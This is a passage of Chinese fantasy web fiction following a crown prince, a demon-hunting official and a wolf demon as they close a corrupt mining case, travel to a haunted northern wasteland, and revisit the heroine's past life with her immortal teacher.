他面露诧异,立马就想歪了:“**,原来你早就勾搭上了别的男人。难怪昨晚,我一片真心相待,你都不愿意回头。你还伙同他人,将我伤成这样。女人果然都是**的东西!”
"啪!"谢守正一鞭子抽过去,把苗东抽得摔出去好几米远,好半天后哼不出一点声音来。
谢守正骂道:“嘴比粪坑还臭!再敢胡言乱语一句,老子就拔了你的舌头!”
他转过头,又对红瑶道:“红瑶,将你昨晚的所见所闻,悉数告知给骆国公。”
红瑶点了点,便将昨晚在琼楼上听到、看到的,都说了出来,尤其强调了红玉残忍的制作过程。
饶是骆国公这样见多识广的人,都吃了一惊:“这些人,竟然丧心病狂至此?”
红瑶道:“国公您亲自去琼楼底下一看便知。那底下还泡着上百具少女的尸骸,还有个别几人一息尚存。怕被那些冤死之人的鬼魂报复,所以入口到处都贴着缚魂咒。那些可怜的女子,生前被祸害,死后变鬼也不得超生!”
“林林总总,令人发指。还请国公爷主持公道!严惩恶人!”
第110章 你到底有什么意图?
“若真是如此,当真是万死不足以赎其罪!”骆公国骂了一声后,率先走入琼楼的地下,果然见到了那些残忍血腥的场面。
最终,在骆国公的强势手段下,这座罪恶的矿山终于被清洗。
整座矿山全部被封锁。山上的劳工,百花楼和南风馆被关押的男男女女,全都被解救出来。
除此之外,整个东林府官场上下,凡涉及此案的官员,尽数被缉拿后送去京城受审。
这些事情,说来只是三言两语,但善后的工作量却是巨大的。
比如受害民众有人伤病缠身,有人惊魂未定,如何安抚善后等等。
东林府上下官员被一锅端,空下来的官职一时半会儿无人接替,如何保证林东府的运转等等,也不是十天半个月能解决的好的。
不过既然骆国公出面了,这等繁琐之事,自然就交给他来处理。
东方起在离开之前,悄悄地来见了路过骆国公一面。
骆国公看到他的时候,激动得眼含泪花:“殿下,果然是您!”
先前,谢守正找他搬救兵的时候,虽然拿的是监察御史的印章。
可骆国公还是一下子就联想到了东方起。
“谢守正和监察院的关系并不亲密,怎会无缘无故拿着监察御史的印章来找我?”
“他当时,还十分着急,口口声声说着若不去救人,大家都要一块儿玩蛋!能让他那种混不吝的人慌张成那样,除了你太子殿下,再无旁人!”
“舅舅,我也知道你能猜得到。”东方起由衷道,“这世上,除了父皇之外,我能信任的人不多。舅舅你便是其中一位,所以我的事也不会瞒着你。”
骆国公关切地询问:“殿下,京城传言你病危,不久于人世,这到底是怎么回事?舅舅是节度使,不能随意入京。给陛下写了一封又一封的信,可陛下也不肯透露你的情况。我真是急得不行!今日能看到你,舅舅实在高兴!”
东方起便将自己丢失一魂的情况如实相告,并道:“如今,垂涎太子之位的人都盯着父皇的一举一动。父皇自然不敢随意泄露我的情况。若是此去赤影,我能安全归来,无论是晋王还是厉王,都得给我滚回分封地去。可若是……”
他顿了顿,才道:“若我命该如此,一去不回,舅舅你切记莫要参与到党争之中。你是武将,没有他们那么多的花花肠子。”
“起儿……”骆国公眼中滚出泪来,又忽然扬声道,“不就是赤影之地吗?舅舅亲自带人护送你一起去!有舅舅在,什么妖魔鬼怪都不能伤害你分毫!”
东方起笑了起来:“好了,舅舅!在战场上带兵打仗是你的长处。对付妖魔鬼怪就算了。再说……”
他侧眸看了眼前方小路上,那正站在马车旁,和红瑶说话的林倾月。
看着看着,他眼底的眸光莫名温柔了几许:“我身边已有了最可靠的帮手,有她在,我无所畏惧。”
骆国公顺着他的目光也看到了林倾月,问道:“那位是……”
提起林倾月,东方起的语气也变得格外温柔:“她是玄镜司的鉴邪副使,林倾月。也是我的救命恩人。当日若不是她,我早已悄无声息地死去了。此去赤影,便是由她全力护送。这份恩情,也不知道此生能否还清……”
介绍林倾月的时候,东方起有意无意地避开了她晋王妃的身份——若是将来能够平安回来,他一定会亲自帮她彻底撇开那一层身份!
“舅舅你就在这里等我吧。再者,东林府还有一大堆的烂摊子,您又如何能走得开呢?”
骆国公也不是扭捏的人,擦了擦眼角的泪,道:“殿下您一定能否极泰来!舅舅会等你平安归来,舅舅还要亲眼看到那些王八犊子都滚回封地去!”
东方起笑着拍了拍骆国公的肩膀:“好!”
那边,林倾月也在和红瑶说话:“苗东已经镣铐加身,送往京城受审。对于
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那种一心想攀附权势,薄情寡义的人来说,让他一无所有,会比杀了他更痛苦。所以你的仇也算是报了。如何,可还满意?”
红瑶郑重地向林倾月行了个大礼:“多谢小姐相助,红瑶心愿得偿,我会履行先前的承诺,自行去玄镜司时投案自首。”
谢守正则手写了一份书信递给红药:“本官在书信里已为你陈述了前因后果,包括这次东林的案子,你立下的功劳等一并记载在内。你带着书信,去京城的玄镜司总部衙门,他们自会酌情处置。你虽然造过杀孽,所幸没有伤及无辜。功过相抵,应该也就关个几年。对于你们妖类来说,不算什么。”
红瑶闻言感激无比,又问道:“那我在京城,是不是还能第一时间知道苗东最后的判处结果?”
林倾月微笑:“当然。你放心,他难逃一死。区别在于怎么个死法而已。”
红瑶笑了。
她此刻的笑容不再是妩媚妖娆的,而是笑着笑着眼泪就滚出来,低声呢喃着:“姐姐,我终于给你报仇了。”
这时,东方起也和骆国公道完了别,走过来说:“可以上路了。”
红瑶也要上路了,只是这一次她不能再和林倾月他们一道。
“公子、小姐、谢大人,三位保重。我在京城等你们!”红瑶说罢,再度向他们福身行了个礼,然后翻身上马,向京城的方向而去。
东方起走到马车旁边,亲自打帘:“妹妹,请上车。”
林倾月玩笑道:“你似乎很喜欢当车夫,莫非以后是想放着太子不做,改当车夫?”
东方起道:“你若要坐车,我自当为车夫。”
却听谢守正道:“哎呀,林副使你平常也算是明察秋毫的人,怎么连我们公子这么明显的意图都看不出来?”
本来两人闲聊并不觉得有什么问题,可谢守正突然这么插了一句,林倾月顿时疑惑地看向东方起:“所以你到底有什么意图?”
第111章 你这是在教我做**?
东方起心头一慌,正准备说话,谢守正继续多嘴:“这还用说吗?那还不是因为,你们两人是叔嫂的关系。我家公子乃是正人君子,要注意避险,不能坐在车里,可不就只能坐到车外头了?公子,我说的没错吧?”
他仰着一张笑脸望着东方起,一副求表扬的样子。若不是尾巴收起来了,此刻必然要摇出虚影。
“小灰啊。”东方起冲他摆了摆手,示意他转过身去。
“啊?为何要转过身?”虽然不理解,但谢守正还是乖乖地转过了身。
下一刻,东方起一脚踹到他屁股上:“就显得你话多,还不滚!”
挨了一脚的谢守正只好委屈巴巴地上了自己的马。
迎着晨曦的光,马车载着希望,重新踏上了行程。
路上,林倾月问东方起:“红玉一事,幕后主使者乃是李国公,你觉得他最后能否被定罪?”
东方起道:“此案人证物证俱全,按理是可以换定罪。”
“按理?”车厢里传来女子慵懒的嗤笑,“所以,还有极大的概率的不按常理咯?”
东方起默了默,才道:“李家乃是顶级门阀,权势滔天。李国公又是李氏的家主,朝中遍布党羽。就连厉王,都需要他的鼎力支持来争权夺位。”
林倾月挑眉微笑:“所以呢?”
东方起道:“所以,我猜测她们大概会弃车保帅。李铎已死,也许就顺其自然把所有的罪责推到李铎的头上。可若李铎不死的话,估计也会找个家族中的旁支、庶子顶罪。”
林倾月又问:“你父皇就这么好糊弄?”
东方起道:“就算苗东愿意指认,就算罪名能落到李国公的头上,也没用。因为他们是权贵阶层,受特权保护。”
林倾月讥讽地道:“真是好大的特权啊!这特权到底是谁给的?你,还是你父皇?”
东方起摇头,语气中也满是无奈:“是整个阶层。是千百年来形成的默契。他们要保护好自己的权益,所以一般的罪责,不能动摇其根本。”
“就算是我父皇,若是执意降下重罚,那么其他的贵族门阀们——哪怕从前和李家关系不好的家族,也会一起站出来对抗皇权。”
“因为每个家族都有见不得光的地方,他们要维护整个阶层的利益,就绝对不允许铡刀落下。”
“而我父皇,虽然贵为一国之君,可他的身后也需要士族的支撑,否则就是自毁长城。”
说到这里时,东方起沉沉地叹了口气:“士族有千年的根基,甚至比齐国的历史还有悠久。他们早已在这片国土上盘根错节,牵一发而动全身。所以,这样的罪行最多只能让李家受些挫折而已,没办法连根拔除。”
“听起来也没什么大不了嘛。”林倾月不屑地笑着。
东方起道:“怎么,难道你有办法?”
林倾月道:“这有什么难的?既然那些士族已经全部变成了毒瘤,那就一块铲除。先屠一家,杀鸡儆猴。若无效,继续**!大不了,全部杀光了咯。”
东方起被她逗乐了:“你说的很轻松,好像**就像割草一样简单。”
林倾月道:“难道不简单吗?若你觉得难,那就是你的实力不够强大,强者才不会畏首畏尾。有罪者诛,何必想那么多?”
东方起道:“你这是在教我做**?”
林倾月笑了:“没错!若能开创一个完全不同的世界,做**又何妨?后世的虚名又如何?遗臭万年,还是万世流芳,与我何干?”
东方起摇头轻笑:“说得好像你当过**似的。”
他虽然不太认可林倾月的说法,可不被世俗名利拘束的豁达,倒是十分让他欣赏。
此后几天,他们一路向北而行,终于抵达了齐国的北疆。
北疆辽阔,绿草如茵,一望无际。羊群如云朵,成群地**在一起。就连吹过的风,都带着令人豁达的自由气息。
谢守正一到草原上,血脉里的野性就觉醒了。
趁着四周没人,他嗷一声,变成了狼在草原上来回奔波,惊得那些绵羊四散奔逃。
东方起远远地喊着:“小灰,不要把羊群冲散了
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,牧民们会找不到的!”
于是,那头灰色如疾风般的影子,又在草地上左蹿右蹿,帮着把羊群聚拢回去。
恰好有牧羊人骑马赶到,远远瞅见,忍不住夸了一句:“真是好狗!”
小灰气得丢下羊群跑回来,骂骂咧咧:“什么眼力劲,狼和狗都分不清楚,岂有此理!”
到了这里,距离赤影之地,也就只有一个几个时辰的路程了。
东方起就提议在附近牧民家借宿一晚,修整好之后,明日一早再出发。
这里的牧民大多淳朴善良,谢守正跑去交涉,很快就借到了住所,还喝到了香醇的奶茶,吃到了美味的烤羊肉。
吃饱喝足,就着漫天的星光在草原上散步。
由于这里居住区,怕被人看见,谢守正也不敢再现出原形——何况每次还要找地方穿衣脱衣也怪麻烦的。
但他也不闲着,一个人跑在最前面,这里瞅瞅那里看看,非常认真地巡逻。免得黑暗里突然跳出个什么东西来打扰太子殿下的兴致。
东方起不知在想些什么,一路都很沉默。
林倾月问他:“你是在害怕吗?”
说不害怕是假的。
这一路上,他虽然看似豁达无畏。可明日就要到赤影之地了,那里到底有没有自己丢失的魂魄?又或者即便在那里也找不回来呢?
今晚,也许就是最后的安宁时刻。
他望着天上璀璨的星空,淡淡一笑:“我虽然已经做好了心理准备,可还是有些不甘心……"
林倾月点点头:“我理解,毕竟你还没成亲。**是怪可惜的……要不,我给你找个对象,先把婚成了?”
东方起本来是挺怅然的,突然被这话弄得一愣:她又想到哪里去了?
林倾月却好像来了兴致:“刚才吃饭的时候,牧民家的女儿一直在偷偷看你,一看就是对你有意思。那姑娘长得不错,年纪也合适。要不然我帮你去说个亲?”
东方起:“……不,不必了。”
实在弄不懂,林倾月为什么总想给他拉煤说亲。
第112章 春梦
林倾月问:“你不愿意?为什么?对了,上次在玉石镇的婚宴上,你和那个大娘说你有心上人了?所以不愿意去屈就吗?你心上人是谁?”
她拽拽东方起的袖子,满脸好奇:“说说嘛,是哪家的闺秀?我见过没?”
东方起把袖子从她手里扯了回来,语气里有些恼怒:“没有什么心上人!我不同意你刚才的提议只是因为我生死未卜,没必要连累一个无辜的女子葬送后半生。”
可林倾月却不这么认为:“你要是普通的男人,那么做确实有点不地道。可你是太子,就算你成亲之后立刻就嘎,就算你的妻子要守一辈子活寡,我估计也有一大批女人愿意。你想,又有花不完的钱,又不用妻子的义务,还能偷摸地包养几个小白脸,这多好的美事?”
“林倾月!”饶是东方起脾气再好,也被她这些话给气得不行。
林倾月捧腹大笑,笑得眼泪都流出来了:“小花啊,你可太有意思了。随便逗一逗就急了。”
原来竟是在逗他!
东方起呼呼地转过身去,不想再理她。
林倾月收了笑,一本正经地说:“放心吧,有本座在你死不了!”
东方起狐疑地望来:“本座?”
林倾月意识到失言,赶忙找补:“我是说,有‘我’在你死不了——不过保险起见,你可以先成亲,留个后。”
东方起似乎不信,但却并未继续深究,只道一句:“我更愿意相信你。”
他顿了顿,似是随口般地问林倾月:“你为了帮我,一句话都没留就从京城跑出来了。等回去之后,你准备怎么面对东方宴?”
林倾月嘴里叼着一根青草,语气随意:“我腻味了,不陪他玩了。”
“腻味?”
“他若是愿意和离当然最好。若是不愿意……”她一口呸掉口里的青草,勾唇微笑,“我不介意当寡妇。”
东方起:“……”
京城。
“阿嚏,阿嚏,阿嚏!”东方宴连续打了三个喷嚏。
管家赵安赶忙递上手帕:“王爷,莫非是有人惦记你?”
谁会惦记他?
东方宴的脑海里第一时间浮现的人是林倾月。那个没心没肺的女子,一走十多天,至今连封书信都没有送回。
而他自己又被禁足,不能随意出京。人手倒是派出去不少,可天南海北地撒出去,也没查到她的去向。
直到最近东林府那边传回了大动静,当地官员被骆国公一锅给端了。
消息传回朝堂,圣上震怒。当朝斥责了李家,暂时免去了李国公内阁的职务,让其闭门在家等待调查。
今早,厉王不过站出来替李国公说句话,被圣上罚跪宫门口,整整跪了一个时辰。虽然不伤身体,但是面子掉了一地。
虽说这个事情,不会对李家造成什么实质性的伤害,但东方宴不会放过打压李家和厉王的机会。已经暗中授意自己的党派官员,把之前收集到的厉王**的事情捅出去,好来个落井下石。
东方宴的手指一下下的敲击在桌上:“骆国公是太子的舅舅,怎会突然去管东林府的闲事?”
忽然,他动作一顿:莫非这事跟太子有关?
若是之前,他未必会把两者联系到一起去。
可就在最近两日,他藏在东宫的眼线带来了最新消息:太子不在东宫!
他的人明明亲眼看到太子终日躺在床榻之上,命在旦夕,总会突然又离宫而去?
巧合的是,谢守正和林倾月也在差不多的时间离开京城。
他们都是玄镜司的人,而玄镜司又是太子亲手建立起来的。
前后一联想,东方宴的脸色顿时沉冷了下来:“所以本王的王妃此番执行的任务,和太子有关!难怪陛下要将本王禁足,可偏偏没免掉每日的上朝。这是在本王的脖子上套了跟绳啊!”
“赵安!”东方宴的冷声吩咐,“传本王密令,派出死士往东林府方向搜寻,一旦有酷似太子的人,杀!”
“是!”赵安领了命令,正要下去安排,忽然又问了一句,“殿下,若王妃当真和太子在一起,那咱们们的人动手的时候……”
他没有说下去,等着东方宴的指令。
东方宴沉默了,似乎也在暗自权衡。
皇位之争,从来残酷。亲情都可以抛掷脑后,何况夫妻?
所以赵安心底笃定东方宴会放弃王妃。毕竟当初的林二小姐比王妃更加受宠,最近不也天天在后院刷马桶,活得连最下等的丫鬟都不如。
东方宴第一反
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应,也是不想管林倾月了。可最终他还是叹了口气,站得起来道:“本王亲自去接王妃回来。”
赵安无比诧异:“殿下,可是您现在禁足阶段,若是贸然离京……陛下那边恐怕不好交代。”
东方宴何尝不知道这个道理?
可东方起的事情自己能猜到,其他几位虎视眈眈,一心想上位的王爷们,很快也会反应过来。他们若出手,可不会对林倾月手下留情。
把清晨的第一抹阳光,洒在北疆的大草原上时,不知何处飘来了马头琴的乐声。
林倾月、东方起、谢守正三人也整装出发。
车轮滚滚,马蹄哒哒。
走着走着,谢守正才突然想起来:“对了公子,你说咱们在东林府那一趟的事情,传到京城去会不会被人发现和你有关?”
东方起道:“大概率会吧。”
这一点,从东方起决定调用北原节度使的兵力时,就已经预判到了。
可若是他只顾自己安危,畏手畏脚,那么整个矿山上万名受害者不会那么快被解救。东林府整个地方官场毒瘤,也不会那么快被打掉。
权衡之下,他还是决定以大局为重。毕竟,他作为太子,理应为民众撑腰做主!哪怕会有危险,也在所不惜!
谢守正本来只是那么随口一问,听到这话,突然紧张了起来:“那该如何是好?”
东方起道:“今天下午,我们就会到赤影。京城里的那些人,就算派**来刺杀,也追不上。”
“若是咱们能从赤影之地安全出来,待我三魂合一,自然无须再惧怕他们。”
说话间,他看了眼林倾月。
林倾月懒懒地打了个,坐在马背上无精打采。
东方起问道:“昨晚没睡好吗?”
提起昨晚,林倾月老脸一红:“没什么。”
她才不会告诉东方起,昨晚自己做了一晚上的春梦,明明梦见的是她前世和阿灼在一起翻云覆雨,结果一抬头惊讶地发现对方的脸变成了东方起。
梦里,东方起衣衫凌乱,捂着自己的胸口,像个受惊的小白兔一样大喊:“你不要过来啊!”
而她居然没觉得这有什么违和之处,还一脸淫笑地说:“美人,乖乖从了本座,本座封你做贵妃!”
第113章 赤影之地
一梦惊醒后,林倾月才觉得荒唐透顶,忍不住扇了自己一个巴掌:那是你小叔子,你怎可乱起歹念?
再后来,就没怎么睡着了。
少睡几个时辰对她来说也没什么影响,只是不知道为什么到了北疆之后,过去的很多事情总时不时地冒出来扰人心绪。
“要是没睡好的话,去马车里补个觉?”
东方起说完见她没有回话,似乎在神游太虚,直到他连着喊来好几声后,林倾月才忽然扭过头来,问:“小叔,何事?”
东方起:“……你喊我什么?”
“小叔,小叔子的简称有何不对?”
“你不是要准备和离吗?所以这个称呼,大可不必。”
“没和离之前,你就是我的小叔子啊。”
林倾月主要是怕自己在做那种乱七八糟的梦。思来想去,她觉得应该把称谓摆正,那样就不会胡思乱想了。
东方起别扭地撇过脸去:“可我不喜欢你这样喊我。”
林倾月不解:“为何?”
东方起道:“显老。”
林倾月:“……”
这也算理由?
一路往北,越走周围越是荒凉,还明显能感觉到四处阴气渐渐变得浓郁,连坐下的马都不安起来。
东方起对林倾月道:“一年前我就是巡视到这附近,就不再前进,折返回去。”
当时,因为赤影之地的邪气开始向齐国的国境内迁移。
那些邪气一旦形成一定规模,就会让阳气就会减弱,鬼怪横行将不在有顾忌,阴阳秩序也会打乱。
所以,东方起去年才会不远千里到达北疆视察,并带人在边境地区布下防护阵,阻挡邪气继续侵袭。
也是因为在布阵过程中,耗费了太多气力,身体空虚,才会被刺客偷袭得手,丢失了魂魄。
好在经过一年时间,当初的阵法还是起到了作用,没有继续蔓延。
一路前进,到天快黑的时候,前方出现一条河沟,河面大约只有十几丈宽,河水浑浊发黑。
谢守正勒停了马,道:“殿下,过了这条河便是赤影之地。”
东方起道:“此河名为赤影河,古籍记载赤影河水质浑浊发黄,有说连接冥河,底下遍布不能往生的罪恶灵魂。生人一旦落入河中,就会被河中恶魂吞噬。”
林倾月看了看河面的距离道,对东方起:“涉水渡河肯定不能,河面阴气很重只能跳过去了。你现在身体还需,不如让谢守正背你过去?”
谢守正就赶忙顿了下来,让东方起趴到自己的后背上。
林倾月又拿出红伞,指尖一点,伞面如芍药般绽放,伞骨梢的铃铛也受到阴气的震动,叮铃铃的响。
她将伞递给东方起:“你是凡人之躯,又三魂缺一,过了河阴气会更浓。撑着伞,可为你屏蔽掉大部分阴邪之气。”
东方起知道这伞对林倾月来说很重要,没有第一时间接,而是道:“前方情况莫测,你的武器还是握在自己手里好。”
林倾月轻笑:“我的武器,是我自己!”
说罢,不由分说的就将伞柄塞进了东方起的手里。
她足尖轻点,如飞鸿般掠,顷刻间便稳稳落入对岸,回眸招呼:“别耽误时间了,快点。”
“来了来了!”谢守正应了一声。
他是狼妖,力气和跳跃能力自然是远超一般人。一个助跑,又纵身一跃,就已背着东方起抵达河对岸。
一落地,周围飞沙走石,既看不到前方的景物,也看不到来时的路,只能看到近处林倾月一个朦胧的影子。
“感觉如何?”
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林倾月问东方起。
东方起从谢守正背上下来,手上的伞一刻不敢松:“这伞着实神奇,我站在伞下一点阴邪之气都感受不到。”
林倾月道:“这里的阴邪之气还不算浓,越往里走会越浓。一把伞遮不住你们两个。”
谢守正:“啊?那如何是好?”
林倾月指了指他身后:“谢大人你回去吧,看好车马等我们回来。”
“什么?都到这里了,你让我走?”谢守正当然不干,“我要保护殿下,哪怕里面是刀山火海我也得去!”
林倾月道:“我能感应到,那里面非同寻常,再往里去的话就算你是狼妖也承受不住。到时,你说我是顾着你,还是顾着你家殿下?”
东方起道:“小灰,听林副使的话,回去等着。”
“可是殿下我……”
“这是命令!”
谢守正没办法,耷拉着脑袋跳回河对岸去了。
东方起和林倾月并肩前行,红色的伞面犹如开在浊世的娇艳之花。
这方天地浑浑沌沌,东方起已经难辨周围景物,可林倾月却好像完全不受影响,带着他一路向前。
起初,他们还能遇到不少了潜伏在这里的妖类。但因为有幽冥伞的保护,妖类嗅不到东方起的气息。
可林倾月在伞外,招摇横行,引得那些妖类野性大发试图挑衅,都被林倾月给驱散。
越往里走,阴邪之气就更加浓郁。外围的地方还有一些妖怪潜伏,这里是连妖怪都不肯轻易涉足的地方。
可取而代之的却是无数冤魂呼啸,带起的阴风刮得人的脸皮生疼。
东方起即便有幽冥伞护着,依然步履艰难,感觉自己仅剩的两缕魂魄都要被吹散了。
幽冥伞也左摇右摆,感觉随时要散架。
第114章 云宫过往(1)
再看林倾月,明明也是肉体凡胎,可她走在这诡异之地却跟走在京城的大街上没什么两样。
甚至那些鬼魂之类,都远远地避开她。
东方起从一开始就知道林倾月非同寻常,但此刻更是讶然。
“林副使,怎么你在这里却可以来去自如,一点不受影响?”
却不知林倾月前世修的是魔道。寻常人避之不及的妖鬼阴邪,在她眼中却如鱼得水。耳畔妖风化作呢喃,身侧恶鬼俯首绕行,皆不能伤她分毫。
甚至,只要她愿意,还可以将妖鬼阴邪全部吸纳入体,转换成体内的灵气以提高修为。
只是魔修之道,乃是两面刃,虽能快速提高修为,但却会吞噬人性,放大恶念,最终成为冷血无情的杀伐工具。
当年的倾月仙君被魔性折磨,在理智与癫狂的两端苦苦对抗。可最后,还是难免心魔缠身。
直到后来,叛军围城,她苦苦维系的人性也终于到了崩溃的边缘。她所幸放弃了抵抗,驱散云宫众人后,纵火**。
重活一世,她自然不想再走当年的那条注定只能毁灭的路。
不过这些事情,她不会随意对东方起吐露,只是玩笑地道:“大概是我体质好吧。小花啊,你以后也记得勤加锻炼,男人不能太虚。”
东方起:“……”
就在这时,东方起神色一正忽然停下了脚步。
林倾月转头看去,就见他闭着眼睛,剑眉微蹙。
林倾月猜到他应该是感到了什么,便不再说话,免得让他分神。
片刻之后,东方起忽然睁开了眼睛,指着一个方向说:“在哪里!我感觉哪里,好像什么在召唤我。”
林倾月道:“走,去看看。也许你丢失的魂魄就在那个方向。”
两人朝着那方向走了一阵子,可走着走着,先前的感觉就丢失了。
东方起有些纳闷:“明明之前能感应到的,怎么突然什么又都感应不到?”
林倾月道:“别着急,再找找看。”
可又走了很长一段时间,却还是什么都找不到,也感应不到。
而东方起的气色却肉眼可见地越来越差,握着伞的手也在颤抖。
幽冥伞虽然能帮他屏蔽大部分阴邪之气,可当阴气过于浓郁的时候,还是会有些小部分泄露进去。
东方起肉体凡胎,长时间下去承受不了太久。所以必须要加快搜寻的时间。
林倾月思忖着道:“这样,我们俩分开搜寻,尽量缩短寻找的时间。”
说着,她以血为引快速画出了两张符,一张递给东方起,一张则留给自己。
“这是双生符,能感应到对方的存在,也可以预知对方的安危。若是遇到情况,还能指引彼此找到对方。你我各执一张,若有什么发现,我们及时联系。”
东方起也不要磨叽:“好,就按照你说的办!”
林倾月叮嘱东方起:“千万切记,不要离开幽冥伞的保护范围。”
东方起点点头说:“你去吧。凡事多加小心,安全为上,若是有对付不了的情况你就立刻退开,不要勉强。”
林倾月笑:“你放心,我从不做勉强之事。”
接着两人各执一符咒,分散而行。
不用带着东方起,林倾月行进的速度更快。
不过半个时辰,已到了整个赤影之地的中心地带。
踏入这里之后,整个世界好像又突然变了,不再是阴气缭绕,眼前所见是绿草如茵、鲜花遍地,隐约中还能听到鸟叫虫鸣。
林倾月眉头微蹙:“真是奇怪,想不到这里居然藏着一方绿洲。”
再往前走,眼前就出现了一泓清澈的湖泊。
平静的湖面上,倒映着蓝天白云,也倒映着林倾月的仙姿玉容。
她垂眸看向水中的倒影,水中的倒影似乎也在看她。
明明是一模一样的两张脸,可是倒影里的她更加明媚,唇边挂着无忧无虑的笑容。身上的一袭黑衣,不知何时也变成了芙蓉色的纱裙。
怎会是芙
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蓉色的衣裙呢?
哦,想起来了。
十二岁之前,她就是酷爱一切鲜亮粉嫩的颜色。
那时,她还是青苍门的少主,集万般宠爱于一身。
“嘻嘻,你忘记我了吗?回来吧,回到过去就能看到师父了!”
水里的粉裙少女,忽然从伸出手,拽住她的脚踝。
不等她反应过来,眼前一片浮光掠影聚散分离,又在须臾之间重新拼凑出另一个截然不同的世界。
出现在眼前的是仙山连绵,浮云缭绕。当云层散尽的时候,山顶浮现出巍峨的楼宇。
而林倾月就站在高高的阁楼上,将一切景物尽收眼底。她身上穿着芙蓉纱裙,头上梳着少女的发饰,和后来的气质完全不同。
有丫鬟来禀报:“少主,飞马已经准备齐全,可以出发了。”
“出发?去哪里?”林倾月的思绪微微有些混乱。
“去云宫啊!”丫鬟道,“少主您可别想逃走,宗主说了您若是敢逃走,他就把您身边伺候的人统统送去人间界受苦!呜呜,少主您千万可怜可怜奴婢们,莫要再闹了。”
听到“云宫”时,所以的记忆归拢,过往一切尽在眼前。
“所以,我这是回来了吗?”
回到了修仙界,她十二岁那年的修仙界?
修仙界,分为两个世界,上等为上仙界和下等人间界。
人间界,凡人如蝼蚁,受尽苦难。
上仙界里,八大修仙世家鼎足而立,各统治着一方天地。
这些延续了上万年的宗门世家,掌握着诸多的修仙秘籍和仙丹灵药。
为了福泽天下众生,每年会向人间界开放少数外门弟子的名额。
下等人间界里,哪怕是王侯将相,也宁愿放弃一切尊荣地位,也要努力抓取机缘,获得一个求取长生的名额。
而像倾月少主这样的嫡系子弟,便是这个世界上天之骄子般的存在。
她生来就能修炼,无数天材地宝滋养体魄,寿命绵长。
第115章 云宫过往(2)
传说,八大世家的先祖是天神血脉的遗留,所以他们的后嗣天生高贵,拥有半仙的体魄。
云宫则是八大世家共同建立,即使培养族内优秀弟子的学府,也是各大宗门长老聚会议事的场所。
每隔三年,各大世家都会将嫡系子弟送去云宫开展为期十年的修炼。
听说那里有最严苛的师父和最变态的试炼。虽然经此锻炼,能迅速提升修为,是那外门弟子拼了命都无法进入的修炼天堂。
可向来洒脱惯了的倾月却不愿意吃那个苦,闹了几次,还是被她的父亲塞进飞马云车里,送去了云宫。
很多年后,当她回想过去时候,才知道云宫的几年是她人生中最难忘的时光。
也是在云宫,她遇见了后来改变她一生轨迹的男人:灼华仙君。
灼华出生在下等的人间界,却是百年难遇的修仙奇才,也是唯一打破了阶层,以凡人的微末出生,却能获得“仙君”封号的人。
同时还是云宫里,唯一一个没有背景的教**。
可不论他过往的经历如何辉煌,在那些金尊玉贵的仙门嫡系子弟眼里,灼华依然和下界的蝼蚁没什么区别。
高兴的时候,听听他的课程,唤他一声仙君。不高兴了,当面顶撞的弟子也不少。
这些弟子中,尤以倾月为祸首。
就因为一次上次睡觉,她被灼华点名批评,于是记恨在心设下诸多埋伏整治灼华。
比如,在门上设水阵,想让他一进讲堂的时候就被淋成落汤鸡,闹个大笑话。
结果,灼华那卑鄙小人不知使了什么阴邪手段,居然让阵法反弹,最后被淋成落汤鸡的反而是倾月。
又比如,倾月在他的餐盒里放满了蟑螂、蚯蚓,准备恶心恶心他。
可最后,被恶心到也是倾月。
因为那些蟑螂、蚯蚓不知道怎么跑到她的碗里了。她当时正得意和人聊天,完全没注意到碗里的变化,直到吃到嘴里才发现不对劲,吐了三天才缓过来。
当然,也有得逞的。比如,弄坏他新衣,搞丢他做的灵器。然后换来一顿责罚和训斥。
他训人的时候,表情很冷,却只会甩出一句:“孺子不可教也!”
连句骂人都不会骂,真是古板无趣。
然而就是这样古板无趣的人,却在一次试炼中,在倾月不小心跌入妖兽潮群里险些被兽蹄践踏而死时候。
一席素白长衫的男子自崖顶疾坠,衣袂翻飞如惊鸿掠影落下,将她死死护在身下。
耳边满是尖锐的兽鸣,还有骨裂被踏碎的咔咔声。
她惊恐抬头,明明看到他满脸痛苦极力在忍,却还柔声安慰:“别怕,我在。”
后来,她平安无事,可他却被硬生生地踩断了脊骨,若非有仙术治疗,怕是一辈子都要瘫痪。
事后她问他:“仙君,我以前总捉弄你,你为什么要救我?你跳下来的时候,难道不害怕吗?”
灼华仙君淡笑:“因为你是我的学生。”
“我以前总和仙君作对,仙君不记恨吗?”
“错的已经罚过了,再记恨就是小肚鸡肠了。”
那天,落日如熔金,笼了他一身的暖红。有细碎的光粒在他纯白的衣袂上飞舞。
12岁的少女仰着脸庞,将他眉眼上的温柔、唇角噙着的笑意,连同此刻漫天燃烧的晚霞,一并烙进心湖深处。
从此,再难忘怀。
云宫十年,前三年是集体授学。
三年后,可以自主选一位仙君定下师徒名分,继续学习。
这是双向的选择,弟子选师父,师父选亲传弟子,名分定下就是一生一世,不可更改。
别的仙君都是出生八大仙门,地位超凡,契约了师徒关系后,也等于各大家族之间利益链接的更深。自然不缺徒弟。
唯独灼华,因为出生人间界,没有家族作为靠山。哪怕本身实力再强,也是不入流,没人愿意选。
灼华在云宫兢兢业业当了十几年的教**,却至今没有收到一位亲传弟子。
他心知肚明,地位的鸿沟,无法逾越。所以那天他站在最偏的位置,只是走一个过场,根本没想过要收亲传弟子。
倾月本来已有属意的师
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父,是她父亲为她指定的,世家背景、实力强大。
可当她看到灼华仙君孤零零地站在角落里,一个选择他的弟子都没有的时候,她心里觉得好难过。
明明他是那么强大、那么温柔的人,就因为出生不好,便被所有人抛弃。
“别人可以抛弃他,可我不能!”
于是她穿过重重人群,向着那一席白衣、谪仙般的男人奔赴而去。
"我想让你当我师父,不管什么样的考验都可以!"
他有些吃惊:“可是你的父亲不是已经帮你定了人选……”
“是我选择师父,不是我父亲选择,所以得按照我的心意来!”
15岁的少女,眼神坚定,语气却透着几分无赖:“我不管,你必须要答应!我可是青苍门的少主,你若是不答应的话,那我可就太丢脸了!灼华仙君,你总不能看着我被人耻笑吧?”
他温柔地抚摸她的头顶,淡淡一笑:“你可要考虑清楚,选了就不能反悔。”
“绝不反悔!”她晃着小手指,眼底有雀跃的碎光,“拉钩钩,骗人是小狗!”
他垂眸看她较真的模样,笑意漫到眼底,抬手轻轻勾住那截粉糯的手指。
檐下落下的阳光,恰好凝在指端,凝成了漫长岁月里永不褪色的温柔。
灼华仙君是个很好的师父,不光会将自己所学所知倾囊相授,还时常带着她游离四方。
灼华仙君告诉她:“修仙者,不能闭门造车,要走出方寸之地去更广阔的天地才能领悟修仙的真谛。修仙,修的不光是体魄,更重要的是心。”
